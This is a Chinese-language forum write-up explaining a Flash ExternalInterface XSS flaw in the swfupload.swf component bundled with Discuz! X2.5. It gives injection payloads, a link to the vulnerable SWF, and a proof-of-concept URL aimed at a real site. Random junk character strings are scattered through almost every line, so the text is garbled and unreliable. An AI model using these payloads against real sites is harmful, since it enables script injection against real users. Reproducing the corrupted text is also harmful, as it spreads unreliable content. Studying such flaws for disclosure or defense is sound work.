上回我们说9 _5 q' @. r- A [& I
! }* _8 z# v3 @6 U( k( a
flash.external.ExternalInterface.call($methodName, $parameter)
1 G3 m; ~- H9 w: o在浏览器中执行的是0 e; H# }0 M$ u# c! D x, b
# m6 t& K# E+ p. O- r' ~$ r
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
& O: b/ Y6 F2 E% w对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
0 \& M" m' C/ T2 c8 q
' w7 v$ o5 }( G& w# U& S: A) Pflash.external.ExternalInterface.call("object."+$methodName, $parameter)9 S0 j6 `2 G" X u, I* z
$methodName = a())}catch(e){alert(/xss/)}//0 o$ Y! R: C+ a' X" w7 a( w6 M
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。1 ]0 b* l, ~- E. N/ F: H- \ P
- h* f( l4 e/ Ytry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
. t; R( Q# N% L" i8 t0 ?% G7 a; S E
# }; D1 }; E- u" Q( E" w, p这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 W, u `/ {3 ]: f6 B8 r0 B( U
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
5 L4 q' Z0 p% m! V; O
; o7 h. g9 B: t' _* ]3 {: s. P% s: Y9 Z) P+ t' @4 |
/ J& E8 x" K8 R/ o( \% c漏洞文件:upload\static\image\common\swfupload.swf% S/ ?; `9 v7 ?! K# k+ D
& i( f0 f) m% K1 q' D原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf+ g0 e7 `; U% O
* d$ Y4 U9 M2 A9 K; r9 M
' E3 c0 p( q" E2 c% b, f0 q; ]
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 g1 w8 x6 N& q" |8 g$ B& C; q. f, |& G8 w) G6 a# o h# A; W
: R3 `* r0 V' T$ j% K; m! J2 t |